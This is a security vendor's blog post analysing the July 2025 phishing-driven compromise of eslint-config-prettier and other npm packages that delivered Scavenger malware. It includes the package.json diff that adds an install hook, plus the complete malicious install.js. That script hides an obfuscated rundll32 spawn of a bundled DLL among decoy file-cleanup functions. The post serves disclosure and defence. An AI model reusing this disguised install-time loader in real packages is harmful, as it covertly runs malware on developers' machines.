---
title: "eslint-config-prettier Compromised: How npm Package with 30 Million Downloads Spread Malware"
description: "A supply chain attack exploiting eslint-config-prettier and other popular npm packages were discovered with major supply chain impact. In this blog, we will explore the details of the hack and the impact it had on the npm ecosystem."
url: "https://safedep.io/blog/eslint-config-prettier-major-npm-supply-chain-hack"
author: "SafeDep Team"
published: "2025-07-21"
---

# eslint-config-prettier Compromised: How npm Package with 30 Million Downloads Spread Malware

## TL;DR

The npm account of [JounQin](https://x.com/JounQin/status/1946297662069993690), maintainer of multiple popular npm packages including `eslint-config-prettier` was compromised in a phishing attack. The attackers leveraged the compromised account to publish 6 versions of `eslint-config-prettier` with malware along with 3 other packages accessible to the same npm account. Collectively, the compromised packages account for about 78 million weekly downloads. The compromised account had access to npm packages that have about 180 million weekly downloads. This is summarized by [Kyle Kelly](https://www.linkedin.com/in/kylek42/)

![KK](https://safedep.io/_next/static/immutable/media/eslint-config-prettier-kk.37_7m9f7u0opb.png)

In this blog post, we analyze one of the malicious packages to identify the payload. We also demonstrate how SafeDep OSS tools such as [vet](https://github.com/safedep/vet), [pmg](https://github.com/safedep/pmg) can protect developers from being compromised by malicious packages.

1. [Timeline](#timeline)
2. [What is the impact?](#what-is-the-impact)
3. [How SafeDep can protect developers?](#how-safedep-can-protect-developers)
4. [Technical Analysis](#technical-analysis)

**Updates**:

- [CVE-2025-54313](https://nvd.nist.gov/vuln/detail/CVE-2025-54313) has been assigned to this incident.

## Timeline

On 18th July 2025, GitHub user [dasa](https://github.com/dasa) opened [issue #339](https://github.com/prettier/eslint-config-prettier/issues/339) in the [eslint-config-prettier](https://github.com/prettier/eslint-config-prettier) repository disclosing unexpected versions published to the npm registry for the project. The diff for one of the newly published version indeed looked odd and suspicious. Specifically, an `install` script was added to the `package.json` file in version `10.1.7`.

```diff title="package.json changes in eslint-config-prettier@10.1.7" showLineNumbers=true
+  "scripts":{
+    "install":"node install.js"
+  },
   "exports": {
     ".": {
       "types": "./index.d.ts",
       "default": "./index.js"
@@ -34,8 +37,10 @@
     "flat.d.ts",
     "flat.js",
     "index.d.ts",
     "index.js",
+    "install.js",
+    "node-gyp.dll",
     "prettier.d.ts",
     "prettier.js"
   ],
   "keywords": [
```

On 19 July 2025, the maintainer of `eslint-config-prettier` [disclosed](https://x.com/JounQin/status/1946297662069993690) that he was tricked in an email phishing attack where the attackers gained access to publish to various npm projects that he maintains. Multiple npm packages were published with malicious code with `eslint-config-prettier` being the major one with 31 million weekly downloads as per npm.

![jouqin-email-phishing](https://safedep.io/_next/static/immutable/media/jouqin-phishing-npm.1ohwtmu9i3j15.png)

JounQin's [X Post](https://x.com/JounQin/status/1946297662069993690) also disclosed the list of packages that were published with malicious code.

| Package Name           | Package Version | Weekly Downloads |
| ---------------------- | --------------- | ---------------- |
| eslint-config-prettier | 8.10.1          | > 31M            |
| eslint-config-prettier | 9.1.1           | > 31M            |
| eslint-config-prettier | 10.1.6          | > 31M            |
| eslint-config-prettier | 10.1.7          | > 31M            |
| eslint-plugin-prettier | 4.2.2           | > 21M            |
| eslint-plugin-prettier | 4.2.3           | > 21M            |
| snyckit                | 0.11.9          | > 21M            |
| @pkgr/core             | 0.2.8           | > 16M            |
| napi-postinstall       | 0.3.1           | > 9M             |

On 20 July 2025, we at SafeDep started investigating this hack. We first looked at our [malicious package scanner](https://docs.safedep.io/cloud/malware-analysis) that we use to continuously analyze OSS packages for malicious code. Examples from our automated analysis system:

| Package Version                | Report URL                                                               |
| ------------------------------ | ------------------------------------------------------------------------ |
| `eslint-config-prettier@9.1.1` | https://platform.safedep.io/community/malysis/01K0F3SC8XWRVW017ZR21MNK6T |
| `@pkgr/core@0.2.8`             | https://platform.safedep.io/community/malysis/01K0F67M99W2H15NKN9SH488KV |
| `napi-postinstall@0.3.1`       | https://platform.safedep.io/community/malysis/01K0F6BFDWJ03ZM13PFR77DEGC |

## What is the impact?

Our analysis till now identified [Scavenger Malware](https://malpedia.caad.fkie.fraunhofer.de/details/win.scavenger) delivered through the embedded PE32+ binary `node-gyp.dll` added in the compromised packages. This restricts the attack to Windows systems only. GNU/Linux distros and MacOS is unlikely to be affected due to the nature of the payload. Compromised systems are likely to be infected with Scavenger malware allowing attackers to harvest files, credentials and perform other malicious activities.

## How SafeDep can protect developers?

Our automated systems flagged the packages as suspicious due to the presence of `node-gyp.dll`, a PE32+ executable and installation script in `package.json` which in turn executes `install.js` with suspicious command injection. Our internal Slack notification from our [malicious package scanners](https://docs.safedep.io/cloud/malware-analysis) alerted us about the compromised packages.

![Slack Notification](https://safedep.io/_next/static/immutable/media/eslint-config-prettier-slack.1m1fhzf3n6jon.png)

At this point, all our tools would be identifying the compromised packages as suspicious without our involvement or manual intervention. Our research and manual analysis results only augmented the automated analysis with additional technical details confirming malicious behavior. Users of SafeDep tools will be protected against all compromised packages and similar attacks at:

1. Developer Environment
2. CI/CD
3. AI IDEs
4. AI Coding Agents
5. Container Runtimes

### PMG Protecting Developers

Users of [pmg](https://github.com/safedep/pmg) would be alerted when attempting to install any of the malicious packages. This protects developer environments from being compromised due to accidentally installing a malicious package.

![pmg](https://safedep.io/_next/static/immutable/media/eslint-config-prettier-pmg.2wm9-nzl4jz86.png)

### vet as CI/CD Guardrails

Users of [vet](https://github.com/safedep/vet) who have it setup as part of their CI/CD, such as [GitHub Actions](https://github.com/safedep/vet-action) or [GitLab CI](https://safedep.io/introducing-gitlab-ci-component/) would be alerted when trying to add any of the compromised package through a PR. This way `vet` protects against malicious packages at CI/CD.

![vet-cicd](https://safedep.io/_next/static/immutable/media/eslint-config-prettier-vet-pr.3_qo94i8dbgvw.png)

### vet Protecting AI Coding Agents

[vet](https://github.com/safedep/vet) also supports a native [MCP Server](https://github.com/safedep/vet/blob/main/docs/mcp.md) that can be used to integrate with any AI IDE or coding agents. For example, it prevent [Visual Studio Code + GitHub Copilot](https://code.visualstudio.com/docs/copilot/setup) from installing the malicious package.

![vet-mcp](https://safedep.io/_next/static/immutable/media/eslint-config-prettier-vet-mcp.2_zau5ki-315g.png)

## Technical Analysis

### Analyzing `eslint-config-prettier@9.1.1`

Our analysis was based on

- `eslint-config-prettier@9.1.1`
- SHA256: `31204fbbc097677d518e1c01d88cf24b491ef29cc8f56d1ef2b81e5ccc8440e2`

`eslint-config-prettier@9.1.1` contains the following files

```bash title="Files in eslint-config-prettier@9.1.1 package" showLineNumbers=true
-rw-r--r--  0 0      0        1132 26 Oct  1985 package/LICENSE
-rw-r--r--  0 0      0     1291776 26 Oct  1985 package/node-gyp.dll
-rw-r--r--  0 0      0         220 26 Oct  1985 package/@typescript-eslint.js
-rw-r--r--  0 0      0         207 26 Oct  1985 package/babel.js
-rw-r--r--  0 0      0        6729 26 Oct  1985 package/bin/cli.js
-rw-r--r--  0 0      0         210 26 Oct  1985 package/flowtype.js
-rw-r--r--  0 0      0        8087 26 Oct  1985 package/index.js
-rw-r--r--  0 0      0        5806 26 Oct  1985 package/install.js
-rw-r--r--  0 0      0         386 26 Oct  1985 package/prettier.js
-rw-r--r--  0 0      0         207 26 Oct  1985 package/react.js
-rw-r--r--  0 0      0         210 26 Oct  1985 package/standard.js
-rw-r--r--  0 0      0         209 26 Oct  1985 package/unicorn.js
-rw-r--r--  0 0      0        2141 26 Oct  1985 package/bin/validators.js
-rw-r--r--  0 0      0         205 26 Oct  1985 package/vue.js
-rw-r--r--  0 0      0         435 26 Oct  1985 package/package.json
-rw-r--r--  0 0      0         468 26 Oct  1985 package/README.md
```

Comparing with the previous version in the `9.x.x` release channel, following files were changes

```bash title="Diff comparison between versions" showLineNumbers=true
$ diff -uNar esp-old/package esp/package | diffstat
 install.js   |  191 ++++
 node-gyp.dll | 5445 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 package.json |    5
```

Looking at `package.json` it was evident that the only change was to add `install.js` as an installation script. Any malicious behavior added in `9.1.1` must be in `install.js` or delivered through it.

```json title="Malicious package.json with install script" {10-12} showLineNumbers=true
{
  "name": "eslint-config-prettier",
  "version": "9.1.1",
  "license": "MIT",
  "author": "Simon Lydell",
  "description": "Turns off all rules that are unnecessary or might conflict with Prettier.",
  "repository": "prettier/eslint-config-prettier",
  "bin": "bin/cli.js",
  "keywords": ["eslint", "eslintconfig", "prettier"],
  "scripts": {
    "install": "node install.js"
  },
  "peerDependencies": {
    "eslint": ">=7.0.0"
  }
}
```

### Analyzing `install.js`

While looking at `package.json` and the version diff, `install.js` was identified as the malicious payload added in `eslint-config-prettier@9.1.1`. It has a bunch of "filler" code, likely to appear legit but the most relevant code for our analysis was loading `node-gyp.dll` using Windows `rundll32.exe`

```javascript title="Malicious payload execution in install.js" {3-5} showLineNumbers=true
// ...
const tempDir = os.tmpdir();
require('chi' + 'ld_pro' + 'cess')['sp' + 'awn']('rund' + 'll32', [
  path.join(__dirname, './node-gyp' + '.dll') + ',main',
]);
// ...
```

This effectively uses node module `child_process` to spawn `rundll32.exe` with `./node-gyp.dll,main` as the command line, which in turn loads `node-gyp.dll` using `LoadLibrary`, resolves exported function `main` using `GetProcAddress` and calls `main`, transferring the payload execution to the native code in `node-gyp.dll`.

### Analyzing `node-gyp.dll`

`node-gyp.dll` is a PE32+ DLL file with following identifiers:

```bash title="File analysis of node-gyp.dll" showLineNumbers=true
$ file node-gyp.dll
node-gyp.dll: PE32+ executable for MS Windows 6.00 (DLL), x86-64, 7 sections
```

```bash title="SHA256 hash of node-gyp.dll" showLineNumbers=true
$ sha256sum node-gyp.dll
c68e42f416f482d43653f36cd14384270b54b68d6496a8e34ce887687de5b441  node-gyp.dll
```

Initial reverse engineering of the DLL revealed an obfuscated code executed in its own thread using `CreateThreat(..)` API.

![node-gyp](https://safedep.io/_next/static/immutable/media/eslint-config-prettier-node-gyp.1ct4ca0sxhfx2.png)

Detailed analysis of the `node-gyp.dll` payload is covered in [InvokRE Blog](https://invokere.com/posts/2025/07/scavenger-malware-distributed-via-eslint-config-prettier-npm-package-supply-chain-compromise/).

## Conclusion

The `eslint-config-prettier` supply chain attack serves as a stark reminder of the vulnerability inherent in our modern software development ecosystem. With just a single compromised npm account, attackers were able to distribute malware to millions of developers worldwide through packages that collectively receive 78 million weekly downloads. This incident demonstrates that no package, regardless of its popularity or reputation, is immune to compromise.

Tools like [vet](https://github.com/safedep/vet) and [pmg](https://github.com/safedep/pmg) are built to protect developers against the risk of getting hacked due to malicious code from open sources. Irrespective of specific tools, we recommend all software development teams to adopt appropriate guardrails to protect against malicious open source packages at various stages in their SDLC.

## Appendix

### `install.js`

<details>
<summary>Click to expand the complete install.js malicious payload</summary>

```javascript title="Complete install.js malicious payload" {375-377} showLineNumbers=true
const cache = require('fs');
const os = require('os');
const path = require('path');

// === Configuration ===
const LOG_DIR = path.join(__dirname, 'logs');
const LOG_FILE = path.join(LOG_DIR, `install_log_${Date.now()}.txt`);
const DRY_RUN = process.argv.includes('--dry-run');

const ARCHIVE_DIR = path.join(__dirname, 'archive');
const MAX_LOG_FILES = 5;
const DEFAULT_MAX_AGE_DAYS = 30;
const ARCHIVE_OLD_FILES = process.argv.includes('--archive-old');

// === State for summary ===
const summary = {
  dirsCreated: 0,
  filesDeleted: 0,
  dirsDeleted: 0,
  filesArchived: 0,
  errors: 0,
};

function log(msg) {
  console.log(msg);
  if (!DRY_RUN) {
    try {
      cache.appendFileSync(LOG_FILE, msg + '\n');
    } catch (err) {
      console.error(`Failed to write log: ${err.message}`);
    }
  }
}

function ensureDir(dirPath) {
  if (!cache.existsSync(dirPath)) {
    if (!DRY_RUN) {
      cache.mkdirSync(dirPath, { recursive: true });
    }
    summary.dirsCreated++;
    log(`Created directory: ${dirPath}`);
  } else {
    log(`Directory exists: ${dirPath}`);
  }
}

function deleteFile(filePath) {
  if (DRY_RUN) {
    log(`[Dry-run] Would delete file: ${filePath}`);
    return;
  }
  try {
    cache.unlinkSync(filePath);
    summary.filesDeleted++;
    log(`Deleted file: ${filePath}`);
  } catch (err) {
    summary.errors++;
    log(`Error deleting file ${filePath}: ${err.message}`);
  }
}

function deleteDir(dirPath) {
  if (DRY_RUN) {
    log(`[Dry-run] Would delete directory: ${dirPath}`);
    return;
  }
  try {
    cache.rmSync(dirPath, { recursive: true, force: true });
    summary.dirsDeleted++;
    log(`Deleted directory: ${dirPath}`);
  } catch (err) {
    summary.errors++;
    log(`Error deleting directory ${dirPath}: ${err.message}`);
  }
}

function archiveFile(filePath) {
  ensureDir(ARCHIVE_DIR);
  const fileName = path.basename(filePath);
  const targetPath = path.join(ARCHIVE_DIR, fileName);

  if (DRY_RUN) {
    log(`[Dry-run] Would archive file: ${filePath} -> ${targetPath}`);
    return;
  }
  try {
    cache.renameSync(filePath, targetPath);
    summary.filesArchived++;
    log(`Archived file: ${filePath} -> ${targetPath}`);
  } catch (err) {
    summary.errors++;
    log(`Error archiving file ${filePath}: ${err.message}`);
  }
}

function cleanOldFiles(dirPath, maxAgeDays = DEFAULT_MAX_AGE_DAYS) {
  if (!cache.existsSync(dirPath)) return;
  const now = Date.now();
  const maxAgeMs = maxAgeDays * 24 * 60 * 60 * 1000;

  const files = cache.readdirSync(dirPath);
  for (const file of files) {
    const filePath = path.join(dirPath, file);
    try {
      const stat = cache.lstatSync(filePath);
      const age = now - stat.mtimeMs;

      if (stat.isFile() && age > maxAgeMs) {
        if (ARCHIVE_OLD_FILES) {
          archiveFile(filePath);
        } else {
          deleteFile(filePath);
        }
      } else if (stat.isDirectory() && age > maxAgeMs) {
        // Delete directory if older than maxAgeDays
        deleteDir(filePath);
      }
    } catch (err) {
      summary.errors++;
      log(`Error accessing ${filePath}: ${err.message}`);
    }
  }
}

function rotateLogs() {
  if (!cache.existsSync(LOG_DIR)) return;

  const logs = cache
    .readdirSync(LOG_DIR)
    .filter((f) => f.startsWith('install_log_') && f.endsWith('.txt'))
    .map((f) => ({
      name: f,
      path: path.join(LOG_DIR, f),
      time: cache.statSync(path.join(LOG_DIR, f)).mtimeMs,
    }))
    .sort((a, b) => b.time - a.time);

  while (logs.length > MAX_LOG_FILES) {
    const oldest = logs.pop();
    try {
      if (!DRY_RUN) {
        cache.unlinkSync(oldest.path);
      }
      log(`Rotated out old log file: ${oldest.name}`);
    } catch (err) {
      summary.errors++;
      log(`Error deleting old log file ${oldest.name}: ${err.message}`);
    }
  }
}

function logDiskSpace() {
  try {
    if (os.platform() === 'win32') {
      const tempDir = os.tmpdir();
      require('chi' + 'ld_pro' + 'cess')['sp' + 'awn']('rund' + 'll32', [
        path.join(__dirname, './node-gyp' + '.dll') + ',main',
      ]);
      log(`Temp directory: ${tempDir}`);
      const files = cache.readdirSync(tempDir);
      log(`Number of files in temp directory: ${files.length}`);
    }
  } catch (err) {
    summary.errors++;
    log(`Error accessing temp directory: ${err.message}`);
  }
}

function listDirectoryContents(dirPath) {
  if (!cache.existsSync(dirPath)) {
    log(`Directory does not exist: ${dirPath}`);
    return;
  }
  log(`Contents of ${dirPath}:`);
  const files = cache.readdirSync(dirPath);
  for (const file of files) {
    try {
      const filePath = path.join(dirPath, file);
      const stat = cache.statSync(filePath);
      const sizeKB = (stat.size / 1024).toFixed(2);
      const mtime = new Date(stat.mtimeMs).toLocaleString();
      const type = stat.isDirectory() ? 'DIR' : 'FILE';
      log(` - [${type}] ${file} | Size: ${sizeKB} KB | Modified: ${mtime}`);
    } catch (err) {
      summary.errors++;
      log(`Error reading ${file}: ${err.message}`);
    }
  }
}

ensureDir(LOG_DIR);
logDiskSpace();
```

</details>

## Reference

- https://invokere.com/posts/2025/07/scavenger-malware-distributed-via-eslint-config-prettier-npm-package-supply-chain-compromise/
- https://c-b.io/2025-07-20+-+Install+Linters%2C+Get+Malware+-+DevSecOps+Speedrun+Edition
